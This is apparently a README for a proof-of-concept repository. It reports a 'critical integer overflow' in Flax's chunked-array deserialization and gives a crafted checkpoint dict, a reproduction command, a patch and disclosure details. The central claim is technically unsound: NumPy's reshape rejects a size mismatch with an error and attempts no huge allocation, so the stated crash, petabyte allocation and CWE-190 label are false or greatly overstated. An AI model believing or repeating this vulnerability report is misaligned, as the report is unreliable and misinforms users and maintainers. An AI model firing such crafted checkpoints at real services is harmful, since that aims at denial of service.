vamsik2005/flax-poc-02-integer-overflow

🚨 FLAX VULNERABILITY POC #2: Integer Overflow in Chunk Deserialization

Severity: CRITICAL
CVE: Pending Assignment
Target: google/flax - JAX Deep Learning Framework
Vulnerability Type: CWE-190, CWE-789 (Integer Overflow, Memory Allocation)

---

Overview

This POC demonstrates a critical integer overflow vulnerability in Flax's chunked array deserialization. Attackers can craft malicious checkpoints with mismatched shape/chunk data causing:

• ✅ Denial of Service (OOM, process crash)
• ✅ Memory Exhaustion (Petabyte-scale allocation attempts)
• ✅ Resource Exhaustion (System freeze)

---

Vulnerable Code

File: flax/serialization.py (Lines 356-361)

def _unchunk(data: dict[str, Any]):
    assert '__msgpack_chunked_array__' in data
    shape = _dict_to_tuple(data['shape'])
    flatarr = np.concatenate(_dict_to_tuple(data['chunks']))
    return flatarr.reshape(shape)  # ❌ NO SIZE VALIDATION!

Missing Security Check: No validation that concatenated chunks match expected shape size!

---

Attack Vector

# Attacker crafts malicious chunked checkpoint:
malicious = {
    '__msgpack_chunked_array__': True,
    'shape': {0: 1000000, 1: 1000000},  # Claims 1 trillion elements
    'chunks': {0: np.array([0])}         # Provides only 1 element!
}

# Victim loads checkpoint:
flax.serialization._unchunk(malicious)

# Result: Tries to reshape 1 element into 1 trillion → CRASH

---

Impact

• DoS: Guaranteed system crash or OOM
• Memory Exhaustion: Can attempt petabyte-scale allocations
• Resource Starvation: System freeze, requires hard reboot
• Multi-tenant Risk: Can DoS entire cloud instance

---

Reproduction

python3 poc_02_integer_overflow.py [attack_type]

Attack types:

• massive_shape: Claim huge array with tiny chunks
• chunk_bomb: Many chunks causing huge concatenation
• negative_dims: Negative shape dimensions (undefined behavior)

---

Remediation

Add validation in _unchunk():

def _unchunk(data: dict[str, Any]):
    assert '__msgpack_chunked_array__' in data
    shape = _dict_to_tuple(data['shape'])
    flatarr = np.concatenate(_dict_to_tuple(data['chunks']))
    
    # ✅ ADD THIS CHECK:
    expected_size = np.prod(shape)
    if flatarr.size != expected_size:
        raise ValueError(f"Chunk mismatch: {flatarr.size} != {expected_size}")
    
    return flatarr.reshape(shape)

---

Disclosure

• Reported: February 2026
• Status: Private disclosure to Google Security
• CVE: Pending assignment
• Bounty: Submitted to Huntr.dev

---

Files

• poc_02_integer_overflow.py - Proof-of-concept exploit
• README.md - This file

---

⚠️ WARNING: This POC may crash your system. Run in isolated environment only.